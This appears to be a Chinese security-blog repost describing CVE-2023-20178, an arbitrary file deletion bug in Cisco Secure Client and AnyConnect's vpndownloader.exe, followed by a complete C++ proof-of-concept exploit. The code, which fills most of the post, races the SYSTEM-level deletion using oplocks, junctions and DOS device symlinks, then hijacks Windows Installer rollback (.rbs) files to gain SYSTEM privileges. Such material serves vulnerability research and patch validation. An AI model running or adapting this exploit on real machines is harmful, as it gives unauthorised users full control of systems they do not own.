简介
Cisco 安全客户端(在 5.0.01242 上测试)和 Cisco AnyConnect(在 4.10.06079 上测试)中的任意文件删除漏洞的 PoC。
分析
当用户连接到 vpn 时,vpndownloader.exe 进程在后台启动,它将在 c:windowstemp 中创建具有以下格式的默认权限的目录:<随机数>.tmp 创建此目录后,vpndownloader.exe 将检查是否该目录为空,如果不是,它将删除其中的所有文件/目录。可以滥用此行为以 NT AuthoritySYSTEM 帐户执行任意文件删除。然后通过滥用 ZDI 文章 https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-升级特权和其他绝妙技巧。
漏洞复现
POC
#include "def.h" #include "FileOpLock.h" int wmain(int argc, wchar_t** argv) { load(); HANDLE hdir = myCreateDirectory(BuildPath(L"C:\\windows"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, FILE_OPEN_IF); if (hdir == NULL) { printf("[!] Cannot open directory!\n"); return 1; } hFile = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); if (hFile == NULL) { printf("[!] Failed to create C:\\Config.msi directory. Trying to delete it.\n"); install(NULL); hFile = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); if (hFile != INVALID_HANDLE_VALUE) { printf("[+] Successfully removed and recreated C:\\Config.Msi.\n"); } else { printf("[!] Failed. Cannot remove c:\\Config.msi"); return 1; } } if (!PathIsDirectoryEmpty(L"C:\\Config.Msi")) { printf("[!] Failed. C:\\Config.Msi already exists and is not empty.\n"); return 1; } printf("[+] Config.msi directory created!\n"); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Created, hdir,0,NULL); SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS); SetThreadPriorityBoost(GetCurrentThread(), TRUE); SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); FileOpLock* oplock; oplock = FileOpLock::CreateLock(hFile, cb1); if (oplock != nullptr) { oplock->WaitForLock(INFINITE); delete oplock; } do { hFile = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | WRITE_DAC | READ_CONTROL | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF); } while (!hFile); char buff[4096]; DWORD retbt = 0; FILE_NOTIFY_INFORMATION* fn; WCHAR* extension; WCHAR* extension2; do { ReadDirectoryChangesW(hFile, buff, sizeof(buff) - sizeof(WCHAR), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME, &retbt, NULL, NULL); fn = (FILE_NOTIFY_INFORMATION*)buff; size_t sz = fn->FileNameLength / sizeof(WCHAR); fn->FileName[sz] = '\0'; extension = fn->FileName; PathCchFindExtension(extension, MAX_PATH, &extension2); } while (wcscmp(extension2, L".rbs") != 0); SetSecurityInfo(hFile, SE_FILE_OBJECT, UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL); while (!Move(hFile)) { } HANDLE cfg_h = myCreateDirectory(BuildPath(L"C:\\Config.msi"), FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE); WCHAR rbsfile[MAX_PATH]; _swprintf(rbsfile, L"C:\\Config.msi\\%s", fn->FileName); HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) { printf("[+] RBS file overwritten!\n"); } else { printf("[!] Failed to overwrite rbs file!\n"); } CloseHandle(rbs); CloseHandle(cfg_h); DelDosDeviceSymLink(object, BuildPath(target)); } BOOL Created(HANDLE hDir) { PFILE_NOTIFY_INFORMATION fi = NULL; BOOL deleted = FALSE; wchar_t file[MAX_PATH] = { 0x0 }; FileOpLock* oplock; do { wchar_t buff[4096] = { 0 }; DWORD ret = 0; ReadDirectoryChangesW(hDir, buff, 4096, TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &ret, NULL, NULL); fi = (PFILE_NOTIFY_INFORMATION)buff; if ((fi->Action == FILE_ACTION_ADDED) && (wcswcs(fi->FileName, L".tmp"))) { swprintf(dir, L"C:\\windows\\%s\\tmp", fi->FileName); swprintf(file, L"C:\\windows\\%s\\tmp\\1.tmp", fi->FileName); SetThreadPriorityBoost(GetCurrentThread(), TRUE); SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); while (!CreateDirectory(dir, NULL)); do { h = CreateFile(file, DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,FILE_FLAG_OVERLAPPED, NULL); } while (h == INVALID_HANDLE_VALUE); printf("[+] Directory: %ls\n", dir); printf("[+] File: %ls\n", file); oplock = FileOpLock::CreateLock(h, cb0); if (oplock != NULL) { oplock->WaitForLock(INFINITE); } deleted = TRUE; } } while (deleted == FALSE); return TRUE; } void cb0() { printf("[+] Oplock triggered!\n"); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Fail, NULL, 0, NULL); while (!Move(h)) {} printf("[+] File moved!\n"); hDir = CreateFile(dir, FILE_WRITE_DATA, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); DosDeviceSymLink(object, BuildPath(target)); CreateJunction(hDir, L"\\RPC Control"); } BOOL Move(HANDLE hFile) { if (hFile == INVALID_HANDLE_VALUE) { printf("[!] Invalid handle!\n"); return FALSE; } wchar_t tmpfile[MAX_PATH] = { 0x0 }; RPC_WSTR str_uuid; UUID uuid = { 0 }; UuidCreate(&uuid); UuidToString(&uuid, &str_uuid); _swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid); size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t)); FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz); IO_STATUS_BLOCK io = { 0 }; rename_info->ReplaceIfExists = TRUE; rename_info->RootDirectory = NULL; rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040; rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t); memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t)); NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65); if (status != 0) { return FALSE; } return TRUE; } void load() { HMODULE ntdll = LoadLibraryW(L"ntdll.dll"); if (ntdll != NULL) { pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString"); pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile"); pNtQueryDirectoryObject = (_NtQueryDirectoryObject)GetProcAddress(ntdll, "NtQueryDirectoryObject"); pNtOpenDirectoryObect = (_NtOpenDirectoryObject)GetProcAddress(ntdll, "NtOpenDirectoryObject"); pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile"); } if (pRtlInitUnicodeString == NULL ||pNtCreateFile == NULL || pNtQueryDirectoryObject == NULL || pNtOpenDirectoryObect == NULL || pNtSetInformationFile == NULL) { printf("Cannot load api's %d\n", GetLastError()); exit(0); } } BOOL CreateJunction(HANDLE hDir, LPCWSTR target) { HANDLE hJunction; DWORD cb; wchar_t printname[] = L""; if (hDir == INVALID_HANDLE_VALUE) { printf("[!] HANDLE invalid!\n"); return FALSE; } SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR); SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR); SIZE_T PathLen = TargetLen + PrintnameLen + 12; SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)); PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize); Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; Data->ReparseDataLength = PathLen; Data->Reserved = 0; Data->MountPointReparseBuffer.SubstituteNameOffset = 0; Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen; memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2); Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2); Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen; memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2); WCHAR dir[MAX_PATH] = { 0x0 }; if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0) { GetFinalPathNameByHandle(hDir, dir, MAX_PATH, 0); printf("[+] Junction %ls -> %ls created!\n", dir, target); free(Data); return TRUE; } else { printf("[!] Error: %d. Exiting\n", GetLastError()); free(Data); return FALSE; } } BOOL DeleteJunction(HANDLE handle) { REPARSE_GUID_DATA_BUFFER buffer = { 0 }; BOOL ret; buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; DWORD cb = 0; IO_STATUS_BLOCK io; if (handle == INVALID_HANDLE_VALUE) { printf("[!] HANDLE invalid!\n"); return FALSE; } WCHAR dir[MAX_PATH] = { 0x0 }; if (DeviceIoControl(handle, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL)) { GetFinalPathNameByHandle(handle, dir, MAX_PATH, 0); printf("[+] Junction %ls deleted!\n", dir); return TRUE; } else { printf("[!] Error: %d.\n", GetLastError()); return FALSE; } } BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) { if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) { printf("[+] Symlink %ls -> %ls created!\n", object, target); return TRUE; } else { printf("error :%d\n", GetLastError()); return FALSE; } } BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) { if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) { printf("[+] Symlink %ls -> %ls deleted!\n", object, target); return TRUE; } else { printf("error :%d\n", GetLastError()); return FALSE; } } HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion) { UNICODE_STRING ufile; HANDLE hDir; pRtlInitUnicodeString(&ufile, file); OBJECT_ATTRIBUTES oa = { 0 }; IO_STATUS_BLOCK io = { 0 }; InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL); retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL, FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL); if (!NT_SUCCESS(retcode)) { return NULL; } return hDir; } void cb1() { SetThreadPriority(GetCurrentThread(), REALTIME_PRIORITY_CLASS); Move(hFile); //loop until the directory found CreateThread(NULL, NULL, install, NULL, NULL, NULL); HANDLE hd; do { hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); } while (!hd); do { CloseHandle(hd); hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); } while (hd); CloseHandle(hd); do { hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); CloseHandle(hd); } while (retcode != 0xC0000022); } DWORD WINAPI install(void*) { HMODULE hm = GetModuleHandle(NULL); HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L"msi"); wchar_t msipackage[MAX_PATH] = { 0x0 }; GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage); printf("[*] MSI file: %ls\n", msipackage); DWORD MsiSize = SizeofResource(hm, res); void* MsiBuff = LoadResource(hm, res); HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL); CloseHandle(pkg); MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL); UINT a = MsiInstallProduct(msipackage, L"ACTION=INSTALL"); MsiInstallProduct(msipackage, L"REMOVE=ALL"); DeleteFile(msipackage); return 0; } VOID Fail() { Sleep(5000); printf("[!] Race condtion failed!\n"); DeleteJunction(hDir); DelDosDeviceSymLink(object, BuildPath(target)); exit(1); } LPWSTR BuildPath(LPCWSTR path) { wchar_t ntpath[MAX_PATH]; swprintf(ntpath, L"\\??\\%s", path); return ntpath; }
参考链接
https://github.com/Wh04m1001/CVE-2023-20178
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-csc-privesc-wx4U4Kw
原文始发于微信公众号(巢安实验室):CVE-2023-20178
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论